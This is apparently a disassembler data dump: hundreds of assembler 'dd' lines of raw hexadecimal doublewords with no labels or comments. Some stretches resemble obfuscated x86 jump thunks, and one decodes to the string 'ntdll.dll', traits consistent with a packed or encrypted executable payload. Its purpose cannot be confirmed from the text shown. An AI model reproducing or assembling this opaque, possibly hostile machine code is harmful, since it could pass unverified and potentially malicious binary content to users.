		dd 29FDDC94h, 0C5C8C8B6h, 448184h, 0B3CB0000h, 5434EC85h
		dd 0E861031Ch, 9A7CA346h, 0B62E2AD9h, 0A03924D2h, 8254A35Bh
		dd 0D454F573h, 436A2B0Dh, 0AA1DF8Bh, 7BFAF47h, 42FAA96Bh
		dd 73C4BD54h, 96EF2E82h, 1B98D352h, 21D06C10h, 2933h, 85B30100h
		dd 3E5434ECh, 3924D2A6h, 0D055ED06h, 0E8A98B2Eh, 608712C1h
		dd 738254A8h, 54742CF5h, 73EBF3BDh, 0EE9D59DBh,	0F173835Bh
		dd 0EC13D658h, 0D270740Ah, 65863924h, 2ACB6D1Fh, 0DF627BB5h
		dd 0C4733416h, 24E0EEC8h, 0A43B5939h, 6DBC368Ch, 0D6C473E8h
		dd 0FFFFF470h, 61C54A4h, 3924D2DEh, 85843378h, 0EEC93EE7h
		dd 0CB192F4Bh, 8B3924D2h, 4426CF6Eh, 283E5C83h,	3924D2BCh
		dd 102E559Ah, 42FA13FAh, 6E50953Fh, 5B1A9DB6h, 0AC30B0ACh
		dd 447C3306h, 6E8892Bh,	0CD139645h, 36AEC4FCh, 763306ACh
		dd 6AB8460h, 198DD233h,	44A0B6D4h, 123306ACh, 64621ECDh
		dd 1D87E3F7h, 18h, 0B93B5467h, 0F7D99820h, 0A1920F36h
		dd 11BCC999h, 15341F0h,	21000000h, 0CFED86B3h, 9B495F97h
		dd 0BB3924D2h, 82CBC776h, 0A63F4301h, 0A490546Ah, 81C63306h
		dd 0A7C0785Ah, 0BA7B5D04h, 0ED6C0C0Bh, 2AC3A548h, 90B7DE87h
		dd 0A516031Bh, 9F1F3306h, 0F32B65DAh, 938F56DAh, 3306A551h
		dd 1211C005h, 0B3E7C96Ch, 0B7FDA097h, 5A5C4FE6h, 2A92543Eh
		dd 0B6EEF60Ch, 23683306h, 2CF17574h, 58199CB7h,	0AB4AED66h
		dd 2B7174B9h, 112FF679h, 743DC0D9h, 0FD5D192h, 473306B7h
		dd 0B6EFF50Bh, 22673306h, 20724CFBh, 45C8B8B6h,	5EE2FB82h
		dd 0E7FDB597h, 38A4D2FDh, 3EED1459h, 0F196h, 87B3E000h
		dd 3B5436EEh, 2C4AF9B8h, 24D2CB16h, 3CC2DB39h, 795B1AA1h
		dd 0EC9291B8h, 0F7A66749h, 0C97CEF6Ch, 57D49D1Ch, 20C43524h
		dd 0B7DE9F81h, 243A7290h, 392578C0h, 0A0445A96h, 0B6392578h
		dd 0E39B4A71h, 0A4EF8254h, 31F07339h, 0A0D89079h, 24D25A8Ah
		dd 0AAC0FC39h, 3924D33Ah, 0B1B0D71Ch, 0C8896B0Ah, 85B36119h
		dd 29FD34ECh, 0C5C8C8B6h, 4B8184h, 54CB0000h, 0D2DE061Ch
		dd 33783924h, 0FE73C584h, 7D24C7E0h, 1C5416CEh,	0D316CEE4h
		dd 0FB403924h, 0D294504Ch, 7DC23924h, 0D311275Fh, 0F83924D2h
		dd 0DCEB071h, 4B2AFE99h, 678385Ah, 547830DFh, 2CF57382h
		dd 8407DF74h, 2Ch, 0EC85B352h, 0BB3B5434h, 132947F6h, 3924D2D1h
		dd 548F476Eh, 2CF57382h, 69A1DF74h, 24D29153h, 912AC539h
		dd 0F260B900h, 8E46F51Ch, 0FFFEF784h, 0F07352FFh, 33B64F31h
		dd 61C5472h, 3924D2DEh,	0B3343378h, 0EFCA3FEEh,	0F20B294Ah
		dd 0DDFBAA4Bh, 42F092C7h, 8769AE3Fh, 6B5EFF1h, 0DA20BD33h
		dd 0E3ED6D6Bh, 412687h,	0B3700000h, 0B9CFED86h,	3F42FE4Ch
		dd 8F25074Ch, 3306A751h, 978BE5Bh, 87E4000Bh, 0E400164Eh
		dd 0E733069Bh, 0FBBC9E5Bh, 0AF354B87h, 0A733069Bh, 0E48C3B62h
		dd 10Eh, 6A7A90C8h, 0EC33069Bh,	7340F8A7h, 0B64F31F0h
		dd 0D28A6C31h, 510BE13Bh, 0BF6EDBF2h, 56743DC0h, 19FBBA3Dh
		dd 2EC7A958h, 0A5BBF38Bh, 3924F03Fh, 0ED6D217h,	483924F0h
		dd 2D67DC03h, 5BD02B96h, 883757B1h, 25AFA08Ch, 0A138BB39h
		dd 0BD32591Ch, 38561FA2h, 0F2D49D1Fh, 47A08231h, 81872BF2h
		dd 9517D3C3h, 0EFB9506Eh, 0D76097D4h, 7D93B160h, 3F435F7Ch
		dd 6F4ABF04h, 538BA9CAh, 744A73Dh, 4C6AAF33h, 744AE36h
		dd 0B463A833h, 0F1018096h, 0CCE53927h, 0E2A3852Ch, 1DA2BF33h
		dd 1239F880h, 2A486F30h, 54C96C11h, 2FF1B439h, 0EC2C0170h
		dd 4EF47C7Eh, 6C000002h, 9AB52AD7h, 0C3DE5312h,	0F00B8021h
		dd 1833A849h, 1C5DD297h, 0DB9E1F2Ah, 0AB74B66h,	31F47A95h
		dd 571EA1BCh, 3046E2E2h, 3F48FDB4h
		dd 7315EDA2h, 80BA2FF2h, 0A246DB67h, 39602103h,	0D2DF051Bh
		dd 32773924h, 0EAE18483h, 981D3F27h, 0B532F3D5h, 19408D7Ch
		dd 86B3D0A4h, 0ECCE9715h, 2A0CD553h, 0FD1B4269h, 42FE1EE7h
		dd 17357A3Fh, 0C6E10080h, 0DA9B7D20h, 2ADC965Dh, 39E8892Bh
		dd 0FC869F57h, 4A969241h, 62330661h, 12107FC5h,	0CB87E447h
		dd 0CCh, 5ABD5415h, 3ED9C839h, 0D6595807h, 13942D0Fh, 56D66C4Eh
		dd 53925C3h, 334EC362h,	0B60FF1B0h, 0BAD0EE83h,	3F43C83Fh
		dd 11275F97h, 3307ADD3h, 0A2423E83h, 0B43307ADh, 2F4CC06Fh
		dd 4708EA8Fh, 0DA71AB20h, 0EC44E444h, 7735B2E4h, 4AC717A9h
		dd 8EAB6A19h, 0F88FC7E5h, 24790151h, 3D39E8AEh,	3927E7E5h
		dd 528AA8EDh, 0F3EFB639h, 2CE695F1h, 0AD8F56DAh, 843378ECh
		dd 5A84D66h, 2DF07590h,	2BFF4E6Bh, 0AE3638ECh, 12Dh, 960BB64Bh
		dd 0BF34FD7Bh, 0EC6100A4h, 168B2AD1h, 42B77AFBh, 63040F01h
		dd 942E49BEh, 0D55974E9h, 0FD809B10h, 23BFBF34h, 48FED70Dh
		dd 0F2CA7F3Fh, 0BA2FF273h, 8BFF1C9Fh, 79DFCF92h, 0F1C53A61h
		dd 0D559F073h, 6E07E910h, 0DAB52ACBh, 0DEF4125Fh, 3F42F6A7h
		dd 758EACF1h, 0A3BE33F2h, 267F6100h, 3EE78613h,	56749B5Ch
		dd 2AC17B40h, 82448939h, 0EC280749h, 0B27B0305h, 0D0000000h
		dd 0F6118633h, 1F3AAF76h, 445FD49Dh, 6C87FCA5h,	70B126CBh
		dd 2FF2737Eh, 56039FBAh, 7D20C6E1h, 0AB4AED08h,	849A3636h
		dd 3F48FE60h, 0B36941F6h, 0D3921586h, 0EB0930F1h, 13611CB3h
		dd 7B957511h, 8C43D0CCh, 0AEC73F49h, 0C7886A0Bh, 7D5FA418h
		dd 2BA041E4h, 3D56D8F1h, 809EB0F0h, 4D2F5610h, 5BDEDD8Ch
		dd 0FD22B89Ah, 59ACF8DFh, 0C164165Ch, 0ED90AB20h, 22C96244h
		dd 1233A183h, 5BE2FBCCh, 49ECEB9Ah, 951833A8h, 0CCAE73F4h
		dd 1DE6FE14h, 2B70B909h, 73FBDD04h, 15h, 578DA3DBh, 0FFB9091Dh
		dd 6E9540E2h, 417F07BFh, 32E18028h, 33EE737Ah, 6C35B851h
		dd 0A84DF18Ah, 0E8952DC6h, 25C86D06h, 6005AA43h, 9F46E57Eh
		dd 0E18024BDh, 1FC666FFh, 4968003Dh, 8900000Eh,	0E589242Ch
		dd 4C581h, 0ED830000h, 242C8704h, 0E189515Ch, 4C181h, 0E9830000h
		dd 240C8704h, 243C895Ch, 265168h, 240C8900h, 37DD6856h
		dd 815E12F5h, 4A13CDF6h, 5EF78979h, 37EAF781h, 3D686D9Bh
		dd 89000042h, 4832424h,	57590424h, 62243481h, 8F257859h
		dd 0BA520841h, 8, 3281CA01h, 25785962h,	2434FF5Ah, 4C48359h
		dd 53243C8Bh, 0C381E389h, 4, 8704C383h,	0E95C241Ch, 0FFFA5197h
		dd 0B8DA48FCh, 6242D7Ah, 0C650C503h, 1E204185h,	25684706h
		dd 0FFCF3817h, 1E02F1B5h, 0FA858D06h, 0FF061E38h, 8DD88BD0h
		dd 1E23A585h, 4685006h,	0FF000001h, 4185C6D3h, 53061E20h
		dd 7F8BF68h, 0F1B5FF83h, 8D061E02h, 1E38FA85h, 89D0FF06h
		dd 2411DB85h, 51BD8306h, 61E33h, 0B840Fh, 9D8B0000h, 61E0851h
		dd 5E9h, 0BB00h, 680000h, 8D000001h, 2411DFB5h,	0FF535606h
		dd 1E1AA595h, 0DFB58D06h, 3062411h, 1E9F0h, 804E0000h
		dd 840F5C3Eh, 9, 0F2F3E80h, 0FFFFED85h,	6C6FFh,	11DF858Dh
		dd 0FF500624h, 2411DB95h, 0E0FF5806h, 0A810FAEh, 314444C7h
		dd 13456B45h, 16E5B159h, 1AB2E347h, 2457B618h, 35F6EB6Ah
		dd 183386B1h, 2CDD3498h, 521D7D6h, 115DDB20h, 6ACFAD34h
		dd 3F4E0356h, 2AB3AED5h, 107FB22Ah, 4026E295h, 3C5135EDh
		dd 742440A0h, 1175EEF7h, 3974DB65h, 2827CE86h, 69F5E2E9h
		dd 0E6FEEBAh, 0DE22E09h, 2C74BB0Fh, 3EBD191Fh, 2DC2596Fh
		dd 444298BEh, 113F2596h, 2FF28D8Dh, 6A0624h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 0DBE3E7C3h
		dd 0FD7BF9BFh, 758D8905h, 6A061E23h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0CA3CC356h
		dd 179D7BC8h, 6660788Eh, 0F5D519BAh, 4D85C761h,	0B8061E32h
		dd 0F000062h, 68Ah, 0A1858900h,	0C7061E2Ah, 1E316985h
		dd 6, 0B5FFF900h, 61E32E5h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 47C35343h, 8B536F2Ah,	8AC4450h, 0DD8589F3h
		dd 0FF061E20h, 1E16B995h, 0D99D8B06h, 6A061E31h, 0C195FF00h
		dd 8B061E26h, 5F7FEBC0h, 0FC23D702h, 0D3D87CFEh, 483E3613h
		dd 6E6199DCh, 37349FD7h, 2A2AC893h, 0FB88CB74h,	920B3403h
		dd 885CD333h, 9C7A1B52h, 53331288h, 0BC88F68Fh,	85E2820Ah
		dd 268E3D5Fh, 94C1D82Ah, 0CF6E292Ch, 0EC24D470h, 207E3653h
		dd 0E6FEA60Ch, 265A7117h, 0E979907Eh, 2EE4CC7Bh, 0C681F244h
		dd 0A0DA9AD5h, 4E5BAF5Ah, 0FA5F8C9Dh, 550EC887h, 5263DE41h
		dd 28448C54h, 28C2A3E7h, 441502E5h, 5E80E53h, 0AF000000h
		dd 0A938F041h, 0E95A75B4h, 0Bh,	2548ED0Dh, 5FF0FE28h, 81BFAF7Eh
		dd 6639C2h, 6890F00h, 89000000h, 1E16B5BDh, 0BE06h, 0F600000h
		dd 0D82h, 8E900h, 7C660000h, 0D7640560h, 8166C105h, 61957BE6h
		dd 60321C8Bh, 22D1958Bh, 8161061Eh, 0B4E60FC3h,	910DBF6Bh
		dd 0C3814B43h, 3A7BABCh, 2285858Bh, 0F381061Eh,	2E2AAE43h
		dd 21C9858Bh, 0B453061Eh, 32048F01h, 5236F080h,	0EE9h
		dd 0CF740E00h, 0A0B8CFA6h, 1DE3D1C8h, 5915DD7Eh, 0E904EE83h
		dd 0Eh,	10F0E90Ch, 0EA3775A8h, 904EA4A5h, 0FE813BA9h, 0FFFF9A80h
		dd 0FF92850Fh, 8D33FFFFh, 61E31E5h, 14E8h, 0FEBB7C00h
		dd 80FACEA1h, 0BE6B5D8Fh, 0F5F210FAh, 885E625Ah, 0DEBF0F94h
		dd 0F560565Fh, 1699BD89h, 5861061Eh, 671EC781h,	0BE80000h
		dd 4A000000h, 53A2491Ch, 0B00790ECh, 5BF9E527h,	8501D233h
		dd 61E1B35h, 0B93A34FFh, 1FE0D475h, 68D0F5Eh, 8B000000h
		dd 1E00A58Dh, 0DFEE8106h, 29365E29h, 1E25E5B5h,	25C68106h
		dd 8938A653h, 1E1A959Dh, 15EE8106h, 8949459Dh, 1E2CCD9Dh
		dd 17348906h, 896DDF80h, 1E31ADBDh, 0F4EA8106h,	80635494h
		dd 0C28139E4h, 635494F0h, 0E79FDCB8h, 8CFA815Ah, 0FFFFF99h
		dd 0FFFF9B85h, 0B1858BFFh, 0EB061E1Ch, 0B61B9026h, 8EAFEC33h
		dd 64746E55h, 642E6C6Ch, 88006C6Ch, 34074621h, 0D2A3D25Dh
		dd 3A02D5h, 0
		dd 0E9000000h, 6E8h, 24333868h,	4D7DE906h, 3168FFFAh, 0E9062434h
		dd 0FFFA4D73h, 2434DB68h, 4D69E906h, 0D068FFFAh, 0E9062435h
		dd 0FFFA4D5Fh, 24368968h, 4D55E906h, 7D68FFFAh,	0E9062437h
		dd 0FFFA4D4Bh, 62D7821Fh, 8B00A147h, 0B025CC70h, 0DA4F1695h
		dd 67B3EBFh, 27C8D3C5h,	50F20D82h, 911530A5h, 0B93C57CCh
		dd 0E78383F8h, 490513D1h, 0B68E433Fh, 1A84h, 0F0735200h
		dd 33B64F31h, 0A73B5472h, 0A85718FAh, 0D2C51B33h, 78FE3924h
		dd 0B36C40B5h, 97CFED86h, 583AFB7Eh, 4E753CBFh,	0E0F6A39Fh
		dd 85CA3F42h, 0CB192F67h, 8B3306C5h, 0D2122846h, 843306C5h
		dd 18AE903Fh, 3306C5C8h, 300147E4h, 0C602E2F8h,	0F543306h
		dd 0E1A6A460h, 605F87E3h, 0A9000002h, 88B1A6D8h, 6AB7CDEBh
		dd 663F42F3h, 20B14721h, 0C5F7355Bh, 0E1802774h, 13869CBAh
		dd 0AD74F618h, 0C2D8668h, 0FB114967h, 68B9FCE9h, 5B79286Dh
		dd 0BE670A23h, 759E130Fh, 0D526EDBh, 9253D6EFh,	0B67F021Dh
		dd 0DDCB6FF4h, 0F57D7F21h, 534h, 86FBA63Bh, 0AF24CD6Bh
		dd 0DC511094h, 67B3AC1h, 32A74AEBh, 73F4FFF1h, 841E39AEh
		dd 0A54964D9h, 0CD708B00h, 13AFAF24h, 4905E7FDh, 0E2BA6F3Fh
		dd 0F4BD3B54h, 0A3A25112h, 93E10B00h, 372BD31h,	98A1FADCh
		dd 82A7BDDBh, 5E3F43ADh, 15F7BE41h, 0C4203654h,	9233074Ch
		dd 0FBB1264Dh, 0C65D483h, 6D49D8EEh, 42873925h,	0E6A9D268h
		dd 0A990C586h, 7429BBD1h, 0E82D944Bh, 0C8DA3C1h, 0A9A6981h
		dd 27A451F1h, 708035CAh, 0B7F2E35h, 61A93970h, 0A144C2C0h
		dd 365D1E00h, 0A3B9F10Fh, 8E2D3441h, 17977A15h,	0F5B0FB0Fh
		dd 0E43D1FCEh, 0C6FE1C55h, 14930AADh, 83AA6B4Dh, 42954F65h
		dd 7CC18E2Dh, 0BBE0D1CDh, 4D66944Eh, 642507AEh,	9E2441B5h
		dd 194001E3h, 965FE2FBh, 0BA2A4078h, 9C880BC9h,	0FB9EDA57h
		dd 0BC8626C6h, 0FA7D980Dh, 0F204793Bh, 0CCCE4750h, 43B44h
		dd 0F4A14200h, 1DC4647Fh, 4AEB8DA8h, 7233BAD5h,	985DE2FDh
		dd 0E5F0E223h, 0D289D40h, 3853C875h, 637EF3B6h,	0ACAC21C0h
		dd 6EAFA10h, 0B76C3F49h, 61C54DFh, 3924D2DEh, 85843378h
		dd 0A96143E2h, 6345EC90h, 0D34F95ABh, 0C2073924h, 0C2DEC9Bh
		dd 0FA334967h, 0EE3F42E8h, 5D8431D1h, 0F12C0DE8h, 84AF2E47h
		dd 0F7153C3Fh, 2A42F4E1h, 0FB819A39h, 0E897583Ah, 0D9112F74h
		dd 93753CC0h, 812423D2h, 0AD506BE0h, 70C92204h,	0C2CFE503h
		dd 4432FFE6h, 4C918A2Bh, 0A5922A20h, 4E0FF118h,	24E62B9Fh
		dd 0E609724Bh, 9131B9BBh, 98000003h, 0BED94E0Bh, 0E702773Eh
		dd 0C279C45h, 344FC46Dh, 3879EEB3h, 0F7BA3B46h,	1EDB6782h
		dd 45E88EA9h, 7332B5D0h, 4C62FEFEh, 3F490698h, 543109BEh
		dd 14F6BB3Bh, 2A5A453h,	0C61E346Ch, 903924D2h, 0D2954F4Bh
		dd 7CC13924h, 1F1A7355h, 0C4FC3452h, 82640DABh,	0D31FC5C1h
		dd 0F2373924h, 55E4743h, 357A3F43h, 1AEB6C0h, 0D8840000h
		dd 0E48DACA3h, 6C788EC6h, 0EA3924D2h, 0D34C98AEh, 0C50A3924h
		dd 0BBD1EF9Eh, 3F42F366h, 0B54B256Ah, 2843AA6Bh, 0B9A922B9h
		dd 62359EF1h, 2C45F4B3h, 703FD60Eh, 9BDAF3h, 0B666211h
		dd 6543E786h, 54E53E20h, 1F01A047h, 1BDE5F5Eh, 33517839h
		dd 985DE2FBh, 73F6F5B6h, 600FD0B2h, 0CC994D64h,	405EA33Dh
		dd 0D2E7108h, 423FA5BBh, 0D2173189h, 0F3D86D55h, 3A24544h
		dd 31F0738Eh, 0CE9F1A6Fh, 4AD2D4F0h, 29Ch, 0EE631EA3h
		dd 178C55D3h, 44B978FCh, 6EE38229h, 9A0FD253h, 0DB5C6759h
		dd 0FC86A116h, 0DB1CC41h, 55D8F368h, 7B17178Ch,	49077F65h
		dd 4A22D73Fh, 0A724BD54h, 61D68362h, 40EF16DFh,	15F7BE41h
		dd 0E7FD7DBCh, 39252AFDh, 0CFED1459h, 0C2712CB6h, 0D5536CA4h
		dd 0BA692A0Ch, 435B6BBEh, 0BB30753Fh, 5FDA7505h, 0A3BCF412h
		dd 0BB7C5E03h, 1B11100Ch, 7ABF3925h, 0C3BD0AA0h, 2514BBCAh
		dd 0E0F62E4Ch, 9E06F204h, 0A18326C7h, 78276CE0h, 242D445Ah
		dd 0FE43A425h, 7C25C7E0h, 0A792EBCDh, 1B96ACCAh, 0D59E0A38h
		dd 0D6597290h, 0FC7F9A0Fh, 8EA87335h, 0A4A6510Ch, 1E31Ch
		dd 9C59EA00h, 0C56C0C27h, 0F2B33550h, 1ADB627Dh, 40E58AA5h
		dd 8D988ACBh, 0B5D045E8h, 0E0FB702Dh, 0B269B5Eh, 5454C968h
		dd 942A2B8h, 5F143F49h,	0BC3B5487h, 0A35213F5h,	7E6001A4h
		dd 6815ADC6h, 323FFAB9h, 1EC6DC14h, 0AD3924D3h,	0C384660Fh
		dd 3D5B0A4Fh, 42E90627h, 7F9DE23Fh, 7221DC66h, 758BC3FDh
		dd 3306BC6Fh, 3BF3A2E7h, 0CFED86B3h, 490526B9h,	0C447C3Fh
		dd 0A0EEF6h, 27236833h,	3300A0BDh, 3BE67C99h, 0C2719859h
		dd 0D2EB094Eh, 0D711862Fh, 0A05B899Fh, 0B6FB3300h, 0BC650807h
		dd 0BBB881DAh, 0D246879Dh, 9DE23924h, 22C3667Fh, 2EB6CC04h
		dd 282CDC6Fh, 85BF34E3h, 0AB335BEEh, 0C7764032h, 9A7C25C8h
		dd 5D7BF841h, 0CBD50F25h, 3C812CDCh, 1E376F8Dh,	0B879FC99h
		dd 0CEE15D6h, 1A09C4Bh,	0CF32FAE0h, 4DC88Ah, 6F71E604h
		dd 0EFE7h, 0B06DF600h, 0D998203Bh, 0FEA74964h, 26CF6E89h
		dd 4C1196B1h, 99A496D7h, 0C1DC5114h, 0E4FF7421h, 0F2A9F42h
		dd 5050C56Ch, 0A469EB4h, 5B103F49h, 0ED86B383h,	52EB9CFh
		dd 0E92E3F49h, 2ACB6E07h, 4E179AB5h, 0D2971730h, 9E802FF0h
		dd 862FCDE6h, 8DACDBD7h, 0E27A6F27h, 0B55094AAh, 0E906F6D9h
		dd 0C6759C59h, 952CFD43h, 43212C71h, 0CBCA79BCh, 0F9148928h
		dd 9051D776h, 0E4C6EDAEh, 0F80EAC4Bh, 0F6D91FECh, 0E0FE256Ah
		dd 9B7D24C7h, 0B0492BDAh, 0F0896B0Eh, 2CC5A752h, 46E5E68Bh
		dd 7AE4E00h, 693D6425h,	4D1494ADh, 78FBAA6Bh, 0A5CA6132h
		dd 0DC8523B6h, 0DAE6665Fh, 0E8892C2Bh, 67A23973h, 0DB02F99h
		dd 0FF828130h, 21CC5436h, 34000000h, 21FEE6FCh,	1358F6D9h
		dd 2205DFF5h, 0C51F6D9h, 3B54A55Dh, 0D37AF7BAh,	5F0A0392h
		dd 24FCEF9Eh, 5133EE73h, 8A6C35B8h, 0C6A84DF1h,	6E8952Dh
		dd 4325C86Dh, 7E6005AAh, 0BD9F46E5h, 0FFE18024h, 3D1FC666h
		dd 12626800h, 0C890000h, 0E1895124h, 4C181h, 0E9810000h
		dd 4, 5C240C87h, 68240489h, 11B0h, 53243C89h, 243254BBh
		dd 5B585306h, 243C8B54h, 4C481h, 0BB530000h, 8,	305DEB81h
		dd 0FB017FBDh, 305DC381h, 3897FBDh, 2434FF5Bh, 4C4835Fh
		dd 582434FFh, 4C481h, 0A8E90000h, 35FFFA46h, 0BDE8C06Ch
		dd 5035A223h, 243891B8h, 0FFC50306h, 0B53960E0h, 0D0A0F945h
		dd 504ECA6Ch, 4C34635Fh, 9C1E0Eh, 1B36067h, 8FCE9762h
		dd 59168807h, 8156875Dh, 0CBC8A633h, 555C3706h,	0A59BE50Eh
		dd 0A93FF756h, 0FB2E902Fh, 0B311F82Fh, 89B39229h, 0E31DB20Dh
		dd 8CE8E725h, 1EA32D03h, 5F00A018h, 0AE2E374Bh,	0FAD1AF33h
		dd 3C987E43h, 598C7F52h, 0AA376133h, 0B928940Dh, 6FF98C1Bh
		dd 8E819h, 66760000h, 44CB1029h, 0FE8CDB9h, 29000000h
		dd 0EBDEF90Ch, 912C5C17h, 0AAE3E856h, 10E829C2h, 95000000h
		dd 0DA0E6764h, 6E3C8D3Ch, 0B0F3ECC4h, 52875D13h, 5B5E5E59h
		dd 8D0F50h, 58000000h, 5AB3C381h, 0BE660000h, 68C2FDh
		dd 0E8000000h, 10h, 1E12F53Ah, 0E99A7A81h, 0BBC53706h
		dd 5E14ED81h, 0B0CBBE66h, 0BE665F5Eh, 148BF1F4h, 0F281F53Bh
		dd 611A9D1Dh, 81F2BF0Fh, 97C8B8EAh, 0BEEA810Ah,	814E2ADFh
		dd 0D84BBCE9h, 3B148957h, 12E9h, 2178F700h
		dd 1FD1CC36h, 5AABCA31h, 0BC4C05B8h, 66B2446Eh,	0EF81F78Bh
		dd 10F7BBC4h, 5850Fh, 81660000h, 81FC8FDEh, 0F7BBC0C7h
		dd 14FF8110h, 0FFFFFA6h, 0FFFFA185h, 8EBFFh, 6000000h
		dd 0E9771F72h, 4B8h, 243B5E68h,	4541E906h, 0E268FFFAh
		dd 0E906243Bh, 0FFFA4537h, 243D1768h, 452DE906h, 6001FFFAh
		dd 872540B5h, 0AA4E69DEh, 0FC7B960Bh, 0A5C035h,	0B5A7E85Dh
		dd 0EB6005AAh, 128732D0h, 3DB277F7h, 61D69F22h,	35AFC561h
		dd 213F490Dh, 3B54946Ch, 5617F9B8h, 6207A8A7h, 9D44E780h
		dd 87EC4D28h, 0DB0A5369h, 0F93E3F42h, 0C95F8117h, 0B04D3306h
		dd 0DDFDFB6Ah, 0F3B687E3h, 2, 83B6A9D8h, 67BAD0EEh, 693F42F3h
		dd 2709A84Ch, 0CF653F66h, 306C198Ah, 26BED40Ch,	3035A14Dh
		dd 0BC7D3CEBh, 0CA6199B7h, 6CC0F848h, 0FEFB2C31h, 0CF5A1187h
		dd 70748AA8h, 0E635A0D4h, 0DBF6F2A1h, 553BBED7h, 0D1E10319h
		dd 39752F82h, 82D1C123h, 2950952Fh, 4F682002h, 68290BAEh
		dd 323FFAB9h, 0ADCFE14h, 496635A1h, 0F2F208A6h,	64296498h
		dd 0B3D1F81Fh, 0D94E179Ah, 0D1243BBEh, 0BCE29130h, 32F5B7DEh
		dd 3CE8A95Bh, 2D2B23Ah,	8C150000h, 0BB415CD1h, 0C66A85FAh
		dd 0E88FAA1Fh, 34B9D449h, 0C9BBFC71h, 0FF7439BEh, 2EA35EE4h
		dd 59CE9313h, 85FABB3Eh, 11D3E985h, 453F490Eh, 3B54B890h
		dd 5718FAA7h, 2350E9A8h, 0D38EF05h, 5FA43F49h, 0DF9A2841h
		dd 6F8D3CFDh, 970CD156h, 5436FB7Ch, 964E649Ch, 0C0330098h
		dd 0FD0CC7Bh, 93330099h, 4C2EF77Ah, 5ADDDC8Bh, 98568EA4h
		dd 0E3003300h, 0FBBC9E43h, 36EBADD4h, 0F245D7h,	24E76FEh
		dd 0F0910000h, 37B5D045h, 5ADEF96Eh, 6C0B269Bh,	0B03550C5h
		dd 453778EDh, 7BF0B53Ah, 0A217C260h, 0CD42E787h, 0F1660FB2h
		dd 0A53F55F1h, 0B13F490Dh, 86B324FCh, 6EB9CFEDh, 6E3F490Dh
		dd 8D2CB151h, 1A4102E4h, 657B11F3h, 47330098h, 0F7F564AAh
		dd 0B087EA0Ah, 18Ah, 31F073FAh,	0AE77FA13h, 7A5C0BCCh
		dd 39BF5EE1h, 852BFB78h, 8B46C557h, 8A2D4664h, 0ECC73CEBh
		dd 0CE06244Dh, 4A42E037h, 9E4DCC0Fh, 434DB7A2h,	6244893Fh
		dd 71314CCh, 0B5FB9833h, 0E3904846h, 420187h, 0B34B0000h
		dd 7A9F9786h, 81FEA749h, 1127E282h, 392554D3h, 0F0173E83h
		dd 7134B9D2h, 11FCE8Fh,	43801AEBh, 57397E3Fh, 77DB089Fh
		dd 4B7C952Fh, 5F40A09Ch, 0CF6C3307h, 481C1A89h,	9FD587E3h
		dd 1F000000h, 1331F073h, 8A9D1E7Ch, 3C3B0365h, 6547F6BBh
		dd 0A4862BCCh, 0E7C9680Bh, 950AAB4Eh, 0F7BE425Bh, 40724C48h
		dd 6A0D3925h, 0BE7B56CBh, 68197B5h, 963F45E0h, 0E2FB3351h
		dd 0E8E7965Fh, 0ED84A247h, 0A742B16h, 68DD8C87h, 4305A84Dh
		dd 0F2493AF0h, 1954DCDEh, 5C000001h, 8AA51AC7h,	0B3CE43E2h
		dd 0E0FB7031h, 8239859h, 0C4DC267h, 0CB6E0F1Ah,	0FAA73B56h
		dd 21C46A85h, 47EE91ACh, 2036D2D2h, 3F490FC4h, 7305DD92h
		dd 9FBA2FF2h, 1E37551Ch, 34F5D79Eh, 0BDD61085h,	0D2937538h
		dd 0F0736B23h, 5F974F31h, 24D29B49h, 0C776BB39h, 77C25C8h
		dd 46640D2Ch, 0B372F50Eh, 656110D1h, 3F431F33h,	0F28468Bh
		dd 94ADCB6Eh, 0A96A4C15h, 2E09522Ch, 0F5A4E13Eh, 6C786880h
		dd 0A84B3306h, 9DB3EB09h, 33066D47h, 666B740Fh,	6C3E7497h
		dd 6219645h, 22DABC61h,	0BD524D8Bh, 3EED79B7h, 6F50h, 86B31E00h
		dd 36B6CFEDh, 1DCC8D6Fh, 0D42E9FFh, 5DA23F49h, 965FE27Bh
		dd 0C2630621h, 680F28E0h, 451E1AC9h, 99A43BE6h,	1A4569Ch
		dd 2DD0EB60h, 6209A284h, 0A448E1C3h, 0FC821BFDh, 0F4F55739h
		dd 4400D4AEh, 4AEEF60Ch, 2368C1C5h, 0F9ABF174h,	1F3AAF76h
		dd 9EB7D59Ch, 0C3A55419h, 0F3Bh, 3B540900h, 0C06AA2B9h
		dd 75A5272Ah, 0D4AC9F4Eh, 5133EE73h, 8A6C35B8h,	0C6A84DF1h
		dd 6E8952Dh, 4325C86Dh,	7E6005AAh, 0BD9F46E5h, 0FFE18024h
		dd 3D1FC666h, 0E3895300h, 4C381h, 0EB830000h, 241C8704h
		dd 243C895Ch, 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch
		dd 2368241Ch, 89000051h, 34BB2404h, 432C5717h, 7C25C381h
		dd 0CB8137A2h, 13A447A1h, 3892E381h, 0CB810245h, 4C804ED1h
		dd 2E0ABF57h, 0EFC12193h, 6E7C108h, 4910F781h, 0F7813AD9h
		dd 7C81106Ch, 0B75DEF81h, 0FB0196DDh, 4EC815Fh,	89000000h
		dd 4812424h, 424h, 53515800h, 8488959h,	24048B59h, 81E18951h
		dd 4C1h, 4C18300h, 5C240C87h, 51241C8Bh, 0C181E189h, 4
		dd 4C181h, 0C870000h, 94E95C24h, 0B8FFFA40h, 243E55B8h
		dd 0FFC50306h, 0E7DC4AE0h, 4EC3B20h, 83858F0Ah,	2868EE10h
		dd 0AD480B11h, 78661C08h, 5435382Ah, 17D43531h,	0DD66DE1Dh
		dd 0AA9C8F18h, 484DCB00h, 0AC1FA523h, 0D2B3BB62h, 0E0AB2178h
		dd 8C6B9769h, 0DFCD5322h, 4DE1B332h, 5502703Eh,	3E41C856h
		dd 0CE90011Ch, 882EB20Ch, 907B7405h, 35465371h,	39ACFE60h
		dd 777A0967h, 591FAB48h, 5F89D319h, 22C6145Eh, 0AE847h
		dd 0E410000h, 3E97668Ch, 20BF883Fh, 8E8h, 84D49000h, 97C5AB4Bh
		dd 0CBBF0F97h, 13E95B59h, 0CF000000h, 0FA5806F0h, 0F42B6AEAh
		dd 29F21C25h, 0E7EDD2A4h, 0C381252Eh, 72C3h, 0C837F681h
		dd 85680F16h, 6600001Ch, 8B58FA8Bh, 0F08B6613h,	0CAEBEA81h
